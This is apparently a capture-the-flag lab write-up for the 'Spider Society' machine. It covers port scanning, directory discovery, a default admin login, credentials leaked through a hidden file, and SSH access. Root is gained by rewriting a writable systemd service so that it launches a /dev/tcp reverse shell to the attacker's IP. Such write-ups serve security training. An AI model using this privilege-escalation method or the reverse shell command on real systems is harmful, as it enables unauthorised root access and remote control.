Nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f2:5a:a9:66:65:3e:d0:b8:9d:a5:16:8c:e8:16:37:e2 (ECDSA)
|_ 256 9b:2d:1d:f8:13:74:ce:96:82:4e:19:35:f9:7e:1b:68 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 6415DD3213A122D39F9E526862609952
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Spider Society
2121/tcp open ftp vsftpd 3.0.5
There is an FTP server on 2121, but I ran the ftp_brute nmap script and it found no usernames. Likely impenetrable at the moment.
Enumeration
Gobuster finds an unusual directory that takes us to a login page /libspider.
admin:admin works.
One of the links on the admin page gives us some credentials.
## New Message from Tech Dept
We created your new backup user. Store these credentials safely, agent.
**Username:** ss_ftpbckuser
**Password:** ss_WeLoveSpiderSociety_From_Tech_Dept5937!
Looks like this is for FTP. Lets try.
There are a few juicy files in the FTP server, simple.py as well as:
ftp> cd libspider
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||41402|)
150 Here comes the directory listing.
-rwxr-xr-x 1 0 0 5436 Apr 14 2025 control-panel.php
-rwxr-xr-x 1 0 0 1389 Apr 14 2025 fetch-credentials.php
-rwxr-xr-x 1 0 0 3752 Apr 14 2025 index.php
-rwxr-xr-x 1 0 0 713 Apr 14 2025 login.php
-rwxr-xr-x 1 0 0 88 Apr 14 2025 logout.php
-rwxr-xr-x 1 0 0 51 Apr 14 2025 users.php
The fetch-credentials.php file has some info we can use
// Path to the credentials file
$credentialsFile = __DIR__ . '/.fuhfjkzbdsfuybefzmdbbzdcbhjzdbcukbdvbsdvuibdvnbdvenv';
Going to :
http://spidersociety.offsec.lab/libspider/.fuhfjkzbdsfuybefzmdbbzdcbhjzdbcukbdvbsdvuibdvnbdvenv give us two sets of credentials - the one we already have as well as another set.
FTP_BACKUP_USER=ss_ftpbckuser
FTP_BACKUP_PASS=ss_WeLoveSpiderSociety_From_Tech_Dept5937!
DB_CONNECT_USER=spidey
DB_CONNECT_PASS=WithGreatPowerComesGreatSecurity99!
Exploitation
Even though it mentions “DB”, we find that these credentials are valid for SSH
Privilege Escalation
Running sudo -l shows us:
User spidey may run the following commands on spidersociety:
(ALL) NOPASSWD: /bin/systemctl restart spiderbackup.service
(ALL) NOPASSWD: /bin/systemctl daemon-reload
(ALL) !/bin/bash, !/bin/sh, !/bin/su, !/usr/bin/sudo
The service seems to be running a script called spiderbackup.sh
spidey@spidersociety:/etc/systemd/system$ cat spiderbackup.service
[Unit]
Description=Spider Society Backup Service
After=network.target
[Service]
Type=simple
ExecStart=/usr/local/bin/spiderbackup.sh
User=root
Group=root
spiderbackup.sh is owned by root and not writeable by us, but spiderbackup.service is owned by us and so we can change the ExecStart= to a reverse shell.
[Service]
Type=simple
ExecStart=/bin/bash -c "sh -i >& /dev/tcp/192.168.45.223/80 0>&1"
User=root
Group=root
Trying to restart the service we get a message:
spidey@spidersociety:/etc/systemd/system$ sudo systemctl restart spiderbackup.service
Warning: The unit file, source configuration file or drop-ins of spiderbackup.service changed on disk. Run 'systemctl daemon-reload' to reload units.
So we run sudo systemctl daemon-reload first
spidey@spidersociety:/etc/systemd/system$ sudo systemctl daemon-reload
spidey@spidersociety:/etc/systemd/system$ sudo systemctl restart spiderbackup.service
And we get the shell on our listener
Grab flags and done.